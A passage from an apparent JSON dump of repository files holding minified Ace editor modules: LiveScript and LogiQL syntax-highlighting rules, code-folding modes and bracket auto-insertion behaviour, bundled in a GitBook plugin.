tround|ceiling|floor|is(It|-it)NaN|even|odd|gcd|lcm|disabled__id\\n\t\t\t)\\\\b(?![.-])\",comment:'Generated by DOM query from http://gkz.github.com/prelude-ls/:\\n\t      [].slice\\n\t        .call(document.querySelectorAll(\".nav-pills li a\"))\\n\t        .map(function(_) {return _.innerText})\\n\t        .filter(function(_) {return _.trim() !== \\'})\\n\t        .slice(2)\\n\t        .join(\"|\")\\n     \t\t'},{token:\"support.function.semireserved.livescript\",regex:\"(?<![.-])\\\\b(?:that|it|e)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)(?<![.-])\\\\b(that|it|e)\\\\b\"},{token:\"support.function.method.array.livescript\",regex:\"(?<=(?:\\\\.|\\\\]|\\\\)))(?:apply|call|concat|every|filter|for(?:Each|-each)|from|has(?:Own|-own)(?:Property|-property)|index(?:Of|-of)|is(?:Prototype|-prototype)(?:Of|-of)|join|last(?:Index|-index)(?:Of|-of)|map|of|pop|property(?:Is|-is)(?:Enumerable|-enumerable)|push|reduce(?:Right|-right)?|reverse|shift|slice|some|sort|splice|to(?:Locale|-locale)?(?:String|-string)|unshift|valueOf)\\\\b(?!-)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=(\\\\.|\\\\]|\\\\)))(\\n\t\t\t\tapply|call|concat|every|filter|for(Each|-each)|\\n\t\t\t\tfrom|has(Own|-own)(Property|-property)|index(Of|-of)|\\n\t\t\t\tis(Prototype|-prototype)(Of|-of)|join|last(Index|-index)(Of|-of)|\\n\t\t\t\tmap|of|pop|property(Is|-is)(Enumerable|-enumerable)|push|\\n\t\t\t\treduce(Right|-right)?|reverse|shift|slice|some|sort|\\n\t\t\t\tsplice|to(Locale|-locale)?(String|-string)|unshift|valueOf\\n\t\t\t))\\\\b(?!-) \"},{token:\"support.function.static.array.livescript\",regex:\"(?<=Array\\\\.)isArray\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=Array\\\\.)(\\n\t\t\t\tisArray\\n\t\t\t))\\\\b\"},{token:\"support.function.static.object.livescript\",regex:\"(?<=Object\\\\.)(?:create|define(?:Propert|-propert)(?:ies|y)|freeze|get(?:Own|-own)(?:Property|-property)(?:Descriptors?|Names)|get(?:Property|-property)(?:Descriptor|Names)|getPrototypeOf|is(?:(?:Extensible|-extensible)|(?:Frozen|-frozen)|(?:Sealed|-sealed))?|keys|prevent(?:Extensions|-extensions)|seal)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=Object\\\\.)(\\n\t\t\t\tcreate|define(Propert|-propert)(ies|y)|freeze|\\n\t\t\t\tget(Own|-own)(Property|-property)(Descriptors?|Names)|\\n\t\t\t\tget(Property|-property)(Descriptor|Names)|getPrototypeOf|\\n\t\t\t\tis((Extensible|-extensible)|(Frozen|-frozen)|(Sealed|-sealed))?|\\n\t\t\t\tkeys|prevent(Extensions|-extensions)|seal\\n\t\t\t))\\\\b\"},{token:\"support.function.static.math.livescript\",regex:\"(?<=Math\\\\.)(?:abs|acos|acosh|asin|asinh|atan|atan2|atanh|ceil|cos|cosh|exp|expm1|floor|hypot|log|log10|log1p|log2|max|min|pow|random|round|sign|sin|sinh|sqrt|tan|tanh|trunc)\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=Math\\\\.)(\\n\t\t\t\tabs|acos|acosh|asin|asinh|atan|atan2|atanh|ceil|cos|cosh|exp|expm1|floor|\\n\t\t\t\thypot|log|log10|log1p|log2|max|min|pow|random|round|sign|sin|sinh|sqrt|\\n\t\t\t\ttan|tanh|trunc\\n\t\t\t))\\\\b\"},{token:\"support.function.static.number.livescript\",regex:\"(?<=Number\\\\.)(?:is(?:Finite|Integer|NaN)|to(?:Integer|-integer))\\\\b\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?x)((?<=Number\\\\.)(\\n\t\t\t\tis(Finite|Integer|NaN)|to(Integer|-integer)\\n\t\t\t))\\\\b\"},{token:\"constant.language.livescript\",regex:\"\\\\b(?:Infinity|NaN|undefined)\\\\b\"},{token:\"punctuation.terminator.statement.livescript\",regex:\"\\\\;\"},{token:\"meta.delimiter.object.comma.livescript\",regex:\",[ |\\\\t]*\"},{token:\"meta.delimiter.method.period.livescript\",regex:\"\\\\.\"},{token:\"meta.brace.curly.livescript\",regex:\"\\\\{|\\\\}\"},{token:\"meta.brace.round.livescript\",regex:\"\\\\(|\\\\)\"},{token:\"meta.brace.square.livescript\",regex:\"\\\\[|\\\\]\\\\s*\"},{include:\"#instance_variable\"},{include:\"#backslash_string\"},{include:\"#single_quoted_string\"},{include:\"#double_quoted_string\"},{include:\"#numeric\"}],\"#backslash_string\":[{token:\"string.quoted.single.livescript\",regex:\"\\\\\\\\(?:[\\\\\\\\)\\\\s,\\\\};\\\\]])?\",push:[{token:\"punctuation.definition.string.end.livescript\",regex:\"[\\\\\\\\)\\\\s,\\\\};\\\\]]\",next:\"pop\"},{defaultToken:\"string.quoted.single.livescript\"}]}],\"#double_quoted_string\":[{token:\"punctuation.definition.string.begin.livescript\",regex:'\"',push:[{token:\"punctuation.definition.string.end.livescript\",regex:'\"',next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{2}|[0-2][0-7]{0,2}|3[0-6][0-7]|37[0-7]?|[4-7][0-7]?|.)\"},{include:\"#interpolated_livescript\"},{defaultToken:\"string.quoted.double.livescript\"}]}],\"#embedded_comment\":[{token:[\"punctuation.definition.comment.livescript\",\"comment.line.number-sign.livescript\"],regex:\"(?<!\\\\\\\\)(#)(.*$)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\\\\\)(#).*$\\\\n\"}],\"#embedded_spaced_comment\":[{token:[\"punctuation.definition.comment.livescript\",\"comment.line.number-sign.livescript\"],regex:\"(?<!\\\\\\\\)(#\\\\s)(.*$)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\\\\\)(#\\\\s).*$\\\\n\"}],\"#constructor_variable\":[{token:\"variable.other.readwrite.constructor.livescript\",regex:\"[a-zA-Z$_][\\\\w$-]*@{2}(?:[a-zA-Z$_][\\\\w$-]*)?\"}],\"#instance_variable\":[{token:\"variable.other.readwrite.instance.livescript\",regex:\"(?<!\\\\S)@(?:[a-zA-Z$_][\\\\w$-]*)?\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<!\\\\S)(@)([a-zA-Z$_][\\\\w$-]*)?\"}],\"#interpolated_livescript\":[{todo:{token:\"punctuation.section.embedded.livescript\",regex:\"\\\\#\\\\{\",push:[{token:\"punctuation.section.embedded.livescript\",regex:\"\\\\}\",next:\"pop\"},{include:\"$self\"},{defaultToken:\"source.livescript.embedded.source\"}]}},{todo:{token:\"source.livescript.embedded.source.simple\",regex:\"\\\\#\",push:[{token:\"source.livescript.embedded.source.simple\",regex:\"\",next:\"pop\"},{include:\"$self\"},{defaultToken:\"source.livescript.embedded.source.simple\"}]}}],\"#numeric\":[{token:\"constant.numeric.livescript\",regex:\"(?<![\\\\$@a-zA-Z_])(?:[0-9]+r[0-9_]+|(?:16r|0[xX])[0-9a-fA-F_]+|[0-9]+(?:\\\\.[0-9_]+)?(?:e[+\\\\-]?[0-9_]+)?[_a-zA-Z]*)\",TODO:\"FIXME: regexp doesn't have js equivalent\",originalRegex:\"(?<![\\\\$@a-zA-Z_])(([0-9]+r[0-9_]+)|((16r|0[xX])[0-9a-fA-F_]+)|([0-9]+(\\\\.[0-9_]+)?(e[+\\\\-]?[0-9_]+)?)[_a-zA-Z]*)\"}],\"#single_quoted_string\":[{token:\"punctuation.definition.string.begin.livescript\",regex:\"'\",push:[{token:\"punctuation.definition.string.end.livescript\",regex:\"'\",next:\"pop\"},{token:\"constant.character.escape.livescript\",regex:\"\\\\\\\\(?:x[\\\\da-fA-F]{2}|[0-2][0-7]{0,2}|3[0-6][0-7]?|37[0-7]?|[4-7][0-7]?|.)\"},{defaultToken:\"string.quoted.single.livescript\"}]}],\"#variable_name\":[{token:\"variable.assignment.livescript\",regex:\"[a-zA-Z\\\\$_][\\\\w$-]*(?:\\\\.\\\\w+)*(?!\\\\-)\"}]},this.normalizeRules()};s.metaData={comment:\"LiveScript Syntax: version 1\",fileTypes:[\"ls\",\"Slakefile\",\"ls.erb\"],firstLineMatch:\"^#!.*\\\\bls\",foldingStartMarker:\"^\\\\s*class\\\\s+\\\\S.*$|.*(->|=>)\\\\s*$|.*[\\\\[{]\\\\s*$\",foldingStopMarker:\"^\\\\s*$|^\\\\s*[}\\\\]]\\\\s*$\",keyEquivalent:\"^~C\",name:\"LiveScript\",scopeName:\"source.livescript\"},r.inherits(s,i),t.LiveScriptHighlightRules=s}),define(\"ace/mode/folding/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/range\",\"ace/mode/folding/fold_mode\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../../range\").Range,s=e(\"./fold_mode\").FoldMode,o=t.FoldMode=function(e){e&&(this.foldingStartMarker=new RegExp(this.foldingStartMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.start)),this.foldingStopMarker=new RegExp(this.foldingStopMarker.source.replace(/\\|[^|]*?$/,\"|\"+e.end)))};r.inherits(o,s),function(){this.foldingStartMarker=/(\\{|\\[)[^\\}\\]]*$|^\\s*(\\/\\*)/,this.foldingStopMarker=/^[^\\[\\{]*(\\}|\\])|^[\\s\\*]*(\\*\\/)/,this.singleLineBlockCommentRe=/^\\s*(\\/\\*).*\\*\\/\\s*$/,this.tripleStarBlockCommentRe=/^\\s*(\\/\\*\\*\\*).*\\*\\/\\s*$/,this.startRegionRe=/^\\s*(\\/\\*|\\/\\/)#region\\b/,this._getFoldWidgetBase=this.getFoldWidget,this.getFoldWidget=function(e,t,n){var r=e.getLine(n);if(this.singleLineBlockCommentRe.test(r)&&!this.startRegionRe.test(r)&&!this.tripleStarBlockCommentRe.test(r))return\"\";var i=this._getFoldWidgetBase(e,t,n);return!i&&this.startRegionRe.test(r)?\"start\":i},this.getFoldWidgetRange=function(e,t,n,r){var i=e.getLine(n);if(this.startRegionRe.test(i))return this.getCommentRegionBlock(e,i,n);var s=i.match(this.foldingStartMarker);if(s){var o=s.index;if(s[1])return this.openingBracketBlock(e,s[1],n,o);var u=e.getCommentFoldRange(n,o+s[0].length,1);return u&&!u.isMultiLine()&&(r?u=this.getSectionRange(e,n):t!=\"all\"&&(u=null)),u}if(t===\"markbegin\")return;var s=i.match(this.foldingStopMarker);if(s){var o=s.index+s[0].length;return s[1]?this.closingBracketBlock(e,s[1],n,o):e.getCommentFoldRange(n,o,-1)}},this.getSectionRange=function(e,t){var n=e.getLine(t),r=n.search(/\\S/),s=t,o=n.length;t+=1;var u=t,a=e.getLength();while(++t<a){n=e.getLine(t);var f=n.search(/\\S/);if(f===-1)continue;if(r>f)break;var l=this.getFoldWidgetRange(e,\"all\",t);if(l){if(l.start.row<=s)break;if(l.isMultiLine())t=l.end.row;else if(r==f)break}u=t}return new i(s,o,u,e.getLine(u).length)},this.getCommentRegionBlock=function(e,t,n){var r=t.search(/\\s*$/),s=e.getLength(),o=n,u=/^\\s*(?:\\/\\*|\\/\\/)#(end)?region\\b/,a=1;while(++n<s){t=e.getLine(n);var f=u.exec(t);if(!f)continue;f[1]?a--:a++;if(!a)break}var l=n;if(l>o)return new i(o,r,l,t.length)}}.call(o.prototype)}),define(\"ace/mode/live_script\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text\",\"ace/mode/live_script_highlight_rules\",\"ace/mode/folding/cstyle\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text\").Mode,s=e(\"./live_script_highlight_rules\").LiveScriptHighlightRules,o=e(\"./folding/cstyle\").FoldMode,u=function(){this.HighlightRules=s,this.foldingRules=new o};r.inherits(u,i),function(){this.$id=\"ace/mode/live_script\"}.call(u.prototype),t.Mode=u})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-livescript.js",
    "content": "define(\"ace/mode/matching_brace_outdent\",[\"require\",\"exports\",\"module\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../range\").Range,i=function(){};(function(){this.checkOutdent=function(e,t){return/^\\s+$/.test(e)?/^\\s*\\}/.test(t):!1},this.autoOutdent=function(e,t){var n=e.getLine(t),i=n.match(/^(\\s*\\})/);if(!i)return 0;var s=i[1].length,o=e.findMatchingBracket({row:t,column:s});if(!o||o.row==t)return 0;var u=this.$getIndent(e.getLine(o.row));e.replace(new r(t,0,t,s-1),u)},this.$getIndent=function(e){return e.match(/^\\s*/)[0]}}).call(i.prototype),t.MatchingBraceOutdent=i}),define(\"ace/mode/livescript\",[\"require\",\"exports\",\"module\",\"ace/tokenizer\",\"ace/mode/matching_brace_outdent\",\"ace/range\",\"ace/mode/text\"],function(e,t,n){function u(e,t){function n(){}return n.prototype=(e.superclass=t).prototype,(e.prototype=new n).constructor=e,typeof t.extended==\"function\"&&t.extended(e),e}function a(e,t){var n={}.hasOwnProperty;for(var r in t)n.call(t,r)&&(e[r]=t[r]);return e}var r,i,s,o;r=\"(?![\\\\d\\\\s])[$\\\\w\\\\xAA-\\\\uFFDC](?:(?!\\\\s)[$\\\\w\\\\xAA-\\\\uFFDC]|-[A-Za-z])*\",t.Mode=i=function(t){function o(){var t;this.$tokenizer=new(e(\"../tokenizer\").Tokenizer)(o.Rules);if(t=e(\"../mode/matching_brace_outdent\"))this.$outdent=new t.MatchingBraceOutdent;this.$id=\"ace/mode/livescript\"}var n,i=u((a(o,t).displayName=\"LiveScriptMode\",o),t).prototype,s=o;return n=RegExp(\"(?:[({[=:]|[-~]>|\\\\b(?:e(?:lse|xport)|d(?:o|efault)|t(?:ry|hen)|finally|import(?:\\\\s*all)?|const|var|let|new|catch(?:\\\\s*\"+r+\")?))\\\\s*$\"),i.getNextLineIndent=function(e,t,r){var i,s;return i=this.$getIndent(t),s=this.$tokenizer.getLineTokens(t,e).tokens,(!s.length||s[s.length-1].type!==\"comment\")&&e===\"start\"&&n.test(t)&&(i+=r),i},i.toggleCommentLines=function(t,n,r,i){var s,o,u,a,f,l;s=/^(\\s*)#/,o=new(e(\"../range\").Range)(0,0,0,0);for(u=r;u<=i;++u)a=u,(f=s.test(l=n.getLine(a)))?l=l.replace(s,\"$1\"):l=l.replace(/^\\s*/,\"$&#\"),o.end.row=o.start.row=a,o.end.column=l.length+1,n.replace(o,l);return 1-f*2},i.checkOutdent=function(e,t,n){var r;return(r=this.$outdent)!=null?r.checkOutdent(t,n):void 8},i.autoOutdent=function(e,t,n){var r;return(r=this.$outdent)!=null?r.autoOutdent(t,n):void 8},o}(e(\"../mode/text\").Mode),s=\"(?![$\\\\w]|-[A-Za-z]|\\\\s*:(?![:=]))\",o={defaultToken:\"string\"},i.Rules={start:[{token:\"keyword\",regex:\"(?:t(?:h(?:is|row|en)|ry|ypeof!?)|c(?:on(?:tinue|st)|a(?:se|tch)|lass)|i(?:n(?:stanceof)?|mp(?:ort(?:\\\\s+all)?|lements)|[fs])|d(?:e(?:fault|lete|bugger)|o)|f(?:or(?:\\\\s+own)?|inally|unction)|s(?:uper|witch)|e(?:lse|x(?:tends|port)|val)|a(?:nd|rguments)|n(?:ew|ot)|un(?:less|til)|w(?:hile|ith)|o[fr]|return|break|let|var|loop)\"+s},{token:\"constant.language\",regex:\"(?:true|false|yes|no|on|off|null|void|undefined)\"+s},{token:\"invalid.illegal\",regex:\"(?:p(?:ackage|r(?:ivate|otected)|ublic)|i(?:mplements|nterface)|enum|static|yield)\"+s},{token:\"language.support.class\",regex:\"(?:R(?:e(?:gExp|ferenceError)|angeError)|S(?:tring|yntaxError)|E(?:rror|valError)|Array|Boolean|Date|Function|Number|Object|TypeError|URIError)\"+s},{token:\"language.support.function\",regex:\"(?:is(?:NaN|Finite)|parse(?:Int|Float)|Math|JSON|(?:en|de)codeURI(?:Component)?)\"+s},{token:\"variable.language\",regex:\"(?:t(?:hat|il|o)|f(?:rom|allthrough)|it|by|e)\"+s},{token:\"identifier\",regex:r+\"\\\\s*:(?![:=])\"},{token:\"variable\",regex:r},{token:\"keyword.operator\",regex:\"(?:\\\\.{3}|\\\\s+\\\\?)\"},{token:\"keyword.variable\",regex:\"(?:@+|::|\\\\.\\\\.)\",next:\"key\"},{token:\"keyword.operator\",regex:\"\\\\.\\\\s*\",next:\"key\"},{token:\"string\",regex:\"\\\\\\\\\\\\S[^\\\\s,;)}\\\\]]*\"},{token:\"string.doc\",regex:\"'''\",next:\"qdoc\"},{token:\"string.doc\",regex:'\"\"\"',next:\"qqdoc\"},{token:\"string\",regex:\"'\",next:\"qstring\"},{token:\"string\",regex:'\"',next:\"qqstring\"},{token:\"string\",regex:\"`\",next:\"js\"},{token:\"string\",regex:\"<\\\\[\",next:\"words\"},{token:\"string.regex\",regex:\"//\",next:\"heregex\"},{token:\"comment.doc\",regex:\"/\\\\*\",next:\"comment\"},{token:\"comment\",regex:\"#.*\"},{token:\"string.regex\",regex:\"\\\\/(?:[^[\\\\/\\\\n\\\\\\\\]*(?:(?:\\\\\\\\.|\\\\[[^\\\\]\\\\n\\\\\\\\]*(?:\\\\\\\\.[^\\\\]\\\\n\\\\\\\\]*)*\\\\])[^[\\\\/\\\\n\\\\\\\\]*)*)\\\\/[gimy$]{0,4}\",next:\"key\"},{token:\"constant.numeric\",regex:\"(?:0x[\\\\da-fA-F][\\\\da-fA-F_]*|(?:[2-9]|[12]\\\\d|3[0-6])r[\\\\da-zA-Z][\\\\da-zA-Z_]*|(?:\\\\d[\\\\d_]*(?:\\\\.\\\\d[\\\\d_]*)?|\\\\.\\\\d[\\\\d_]*)(?:e[+-]?\\\\d[\\\\d_]*)?[\\\\w$]*)\"},{token:\"lparen\",regex:\"[({[]\"},{token:\"rparen\",regex:\"[)}\\\\]]\",next:\"key\"},{token:\"keyword.operator\",regex:\"[\\\\^!|&%+\\\\-]+\"},{token:\"text\",regex:\"\\\\s+\"}],heregex:[{token:\"string.regex\",regex:\".*?//[gimy$?]{0,4}\",next:\"start\"},{token:\"string.regex\",regex:\"\\\\s*#{\"},{token:\"comment.regex\",regex:\"\\\\s+(?:#.*)?\"},{defaultToken:\"string.regex\"}],key:[{token:\"keyword.operator\",regex:\"[.?@!]+\"},{token:\"identifier\",regex:r,next:\"start\"},{token:\"text\",regex:\"\",next:\"start\"}],comment:[{token:\"comment.doc\",regex:\".*?\\\\*/\",next:\"start\"},{defaultToken:\"comment.doc\"}],qdoc:[{token:\"string\",regex:\".*?'''\",next:\"key\"},o],qqdoc:[{token:\"string\",regex:'.*?\"\"\"',next:\"key\"},o],qstring:[{token:\"string\",regex:\"[^\\\\\\\\']*(?:\\\\\\\\.[^\\\\\\\\']*)*'\",next:\"key\"},o],qqstring:[{token:\"string\",regex:'[^\\\\\\\\\"]*(?:\\\\\\\\.[^\\\\\\\\\"]*)*\"',next:\"key\"},o],js:[{token:\"string\",regex:\"[^\\\\\\\\`]*(?:\\\\\\\\.[^\\\\\\\\`]*)*`\",next:\"key\"},o],words:[{token:\"string\",regex:\".*?\\\\]>\",next:\"key\"},o]}})"
  },
  {
    "path": "docs/gitbook/gitbook-plugin-ace/ace/mode-logiql.js",
    "content": "define(\"ace/mode/logiql_highlight_rules\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/text_highlight_rules\"],function(e,t,n){\"use strict\";var r=e(\"../lib/oop\"),i=e(\"./text_highlight_rules\").TextHighlightRules,s=function(){this.$rules={start:[{token:\"comment.block\",regex:\"/\\\\*\",push:[{token:\"comment.block\",regex:\"\\\\*/\",next:\"pop\"},{defaultToken:\"comment.block\"}]},{token:\"comment.single\",regex:\"//.*\"},{token:\"constant.numeric\",regex:\"\\\\d+(?:\\\\.\\\\d+)?(?:[eE][+-]?\\\\d+)?[fd]?\"},{token:\"string\",regex:'\"',push:[{token:\"string\",regex:'\"',next:\"pop\"},{defaultToken:\"string\"}]},{token:\"constant.language\",regex:\"\\\\b(true|false)\\\\b\"},{token:\"entity.name.type.logicblox\",regex:\"`[a-zA-Z_:]+(\\\\d|\\\\a)*\\\\b\"},{token:\"keyword.start\",regex:\"->\",comment:\"Constraint\"},{token:\"keyword.start\",regex:\"-->\",comment:\"Level 1 Constraint\"},{token:\"keyword.start\",regex:\"<-\",comment:\"Rule\"},{token:\"keyword.start\",regex:\"<--\",comment:\"Level 1 Rule\"},{token:\"keyword.end\",regex:\"\\\\.\",comment:\"Terminator\"},{token:\"keyword.other\",regex:\"!\",comment:\"Negation\"},{token:\"keyword.other\",regex:\",\",comment:\"Conjunction\"},{token:\"keyword.other\",regex:\";\",comment:\"Disjunction\"},{token:\"keyword.operator\",regex:\"<=|>=|!=|<|>\",comment:\"Equality\"},{token:\"keyword.other\",regex:\"@\",comment:\"Equality\"},{token:\"keyword.operator\",regex:\"\\\\+|-|\\\\*|/\",comment:\"Arithmetic operations\"},{token:\"keyword\",regex:\"::\",comment:\"Colon colon\"},{token:\"support.function\",regex:\"\\\\b(agg\\\\s*<<)\",push:[{include:\"$self\"},{token:\"support.function\",regex:\">>\",next:\"pop\"}]},{token:\"storage.modifier\",regex:\"\\\\b(lang:[\\\\w:]*)\"},{token:[\"storage.type\",\"text\"],regex:\"(export|sealed|clauses|block|alias|alias_all)(\\\\s*\\\\()(?=`)\"},{token:\"entity.name\",regex:\"[a-zA-Z_][a-zA-Z_0-9:]*(@prev|@init|@final)?(?=(\\\\(|\\\\[))\"},{token:\"variable.parameter\",regex:\"([a-zA-Z][a-zA-Z_0-9]*|_)\\\\s*(?=(,|\\\\.|<-|->|\\\\)|\\\\]|=))\"}]},this.normalizeRules()};r.inherits(s,i),t.LogiQLHighlightRules=s}),define(\"ace/mode/folding/coffee\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/folding/fold_mode\",\"ace/range\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"./fold_mode\").FoldMode,s=e(\"../../range\").Range,o=t.FoldMode=function(){};r.inherits(o,i),function(){this.getFoldWidgetRange=function(e,t,n){var r=this.indentationBlock(e,n);if(r)return r;var i=/\\S/,o=e.getLine(n),u=o.search(i);if(u==-1||o[u]!=\"#\")return;var a=o.length,f=e.getLength(),l=n,c=n;while(++n<f){o=e.getLine(n);var h=o.search(i);if(h==-1)continue;if(o[h]!=\"#\")break;c=n}if(c>l){var p=e.getLine(c).length;return new s(l,a,c,p)}},this.getFoldWidget=function(e,t,n){var r=e.getLine(n),i=r.search(/\\S/),s=e.getLine(n+1),o=e.getLine(n-1),u=o.search(/\\S/),a=s.search(/\\S/);if(i==-1)return e.foldWidgets[n-1]=u!=-1&&u<a?\"start\":\"\",\"\";if(u==-1){if(i==a&&r[i]==\"#\"&&s[i]==\"#\")return e.foldWidgets[n-1]=\"\",e.foldWidgets[n+1]=\"\",\"start\"}else if(u==i&&r[i]==\"#\"&&o[i]==\"#\"&&e.getLine(n-2).search(/\\S/)==-1)return e.foldWidgets[n-1]=\"start\",e.foldWidgets[n+1]=\"\",\"\";return u!=-1&&u<i?e.foldWidgets[n-1]=\"start\":e.foldWidgets[n-1]=\"\",i<a?\"start\":\"\"}}.call(o.prototype)}),define(\"ace/mode/behaviour/cstyle\",[\"require\",\"exports\",\"module\",\"ace/lib/oop\",\"ace/mode/behaviour\",\"ace/token_iterator\",\"ace/lib/lang\"],function(e,t,n){\"use strict\";var r=e(\"../../lib/oop\"),i=e(\"../behaviour\").Behaviour,s=e(\"../../token_iterator\").TokenIterator,o=e(\"../../lib/lang\"),u=[\"text\",\"paren.rparen\",\"punctuation.operator\"],a=[\"text\",\"paren.rparen\",\"punctuation.operator\",\"comment\"],f,l={},c=function(e){var t=-1;e.multiSelect&&(t=e.selection.index,l.rangeCount!=e.multiSelect.rangeCount&&(l={rangeCount:e.multiSelect.rangeCount}));if(l[t])return f=l[t];f=l[t]={autoInsertedBrackets:0,autoInsertedRow:-1,autoInsertedLineEnd:\"\",maybeInsertedBrackets:0,maybeInsertedRow:-1,maybeInsertedLineStart:\"\",maybeInsertedLineEnd:\"\"}},h=function(e,t,n,r){var i=e.end.row-e.start.row;return{text:n+t+r,selection:[0,e.start.column+1,i,e.end.column+(i?0:1)]}},p=function(){this.add(\"braces\",\"insertion\",function(e,t,n,r,i){var s=n.getCursorPosition(),u=r.doc.getLine(s.row);if(i==\"{\"){c(n);var a=n.getSelectionRange(),l=r.doc.getTextRange(a);if(l!==\"\"&&l!==\"{\"&&n.getWrapBehavioursEnabled())return h(a,l,\"{\",\"}\");if(p.isSaneInsertion(n,r))return/[\\]\\}\\)]/.test(u[s.column])||n.inMultiSelectMode?(p.recordAutoInsert(n,r,\"}\"),{text:\"{}\",selection:[1,1]}):(p.recordMaybeInsert(n,r,\"{\"),{text:\"{\",selection:[1,1]})}else if(i==\"}\"){c(n);var d=u.substring(s.column,s.column+1);if(d==\"}\"){var v=r.$findOpeningBracket(\"}\",{column:s.column+1,row:s.row});if(v!==null&&p.isAutoInsertedClosing(s,u,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}else{if(i==\"\\n\"||i==\"\\r\\n\"){c(n);var m=\"\";p.isMaybeInsertedClosing(s,u)&&(m=o.stringRepeat(\"}\",f.maybeInsertedBrackets),p.clearMaybeInsertedClosing());var d=u.substring(s.column,s.column+1);if(d===\"}\"){var g=r.findMatchingBracket({row:s.row,column:s.column+1},\"}\");if(!g)return null;var y=this.$getIndent(r.getLine(g.row))}else{if(!m){p.clearMaybeInsertedClosing();return}var y=this.$getIndent(u)}var b=y+r.getTabString();return{text:\"\\n\"+b+\"\\n\"+y+m,selection:[1,b.length,1,b.length]}}p.clearMaybeInsertedClosing()}}),this.add(\"braces\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"{\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.end.column,i.end.column+1);if(u==\"}\")return i.end.column++,i;f.maybeInsertedBrackets--}}),this.add(\"parens\",\"insertion\",function(e,t,n,r,i){if(i==\"(\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"(\",\")\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\")\"),{text:\"()\",selection:[1,1]}}else if(i==\")\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\")\"){var l=r.$findOpeningBracket(\")\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"parens\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"(\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\")\")return i.end.column++,i}}),this.add(\"brackets\",\"insertion\",function(e,t,n,r,i){if(i==\"[\"){c(n);var s=n.getSelectionRange(),o=r.doc.getTextRange(s);if(o!==\"\"&&n.getWrapBehavioursEnabled())return h(s,o,\"[\",\"]\");if(p.isSaneInsertion(n,r))return p.recordAutoInsert(n,r,\"]\"),{text:\"[]\",selection:[1,1]}}else if(i==\"]\"){c(n);var u=n.getCursorPosition(),a=r.doc.getLine(u.row),f=a.substring(u.column,u.column+1);if(f==\"]\"){var l=r.$findOpeningBracket(\"]\",{column:u.column+1,row:u.row});if(l!==null&&p.isAutoInsertedClosing(u,a,i))return p.popAutoInsertedClosing(),{text:\"\",selection:[1,1]}}}}),this.add(\"brackets\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&s==\"[\"){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==\"]\")return i.end.column++,i}}),this.add(\"string_dquotes\",\"insertion\",function(e,t,n,r,i){if(i=='\"'||i==\"'\"){c(n);var s=i,o=n.getSelectionRange(),u=r.doc.getTextRange(o);if(u!==\"\"&&u!==\"'\"&&u!='\"'&&n.getWrapBehavioursEnabled())return h(o,u,s,s);if(!u){var a=n.getCursorPosition(),f=r.doc.getLine(a.row),l=f.substring(a.column-1,a.column),p=f.substring(a.column,a.column+1),d=r.getTokenAt(a.row,a.column),v=r.getTokenAt(a.row,a.column+1);if(l==\"\\\\\"&&d&&/escape/.test(d.type))return null;var m=d&&/string|escape/.test(d.type),g=!v||/string|escape/.test(v.type),y;if(p==s)y=m!==g;else{if(m&&!g)return null;if(m&&g)return null;var b=r.$mode.tokenRe;b.lastIndex=0;var w=b.test(l);b.lastIndex=0;var E=b.test(l);if(w||E)return null;if(p&&!/[\\s;,.})\\]\\\\]/.test(p))return null;y=!0}return{text:y?s+s:\"\",selection:[1,1]}}}}),this.add(\"string_dquotes\",\"deletion\",function(e,t,n,r,i){var s=r.doc.getTextRange(i);if(!i.isMultiLine()&&(s=='\"'||s==\"'\")){c(n);var o=r.doc.getLine(i.start.row),u=o.substring(i.start.column+1,i.start.column+2);if(u==s)return i.end.column++,i}})};p.isSaneInsertion=function(e,t){var n=e.getCursorPosition(),r=new s(t,n.row,n.column);if(!this.$matchTokenType(r.getCurrentToken()||\"text\",u)){var i=new s(t,n.row,n.column+1);if(!this.$matchTokenType(i.getCurrentToken()||\"text\",u))return!1}return 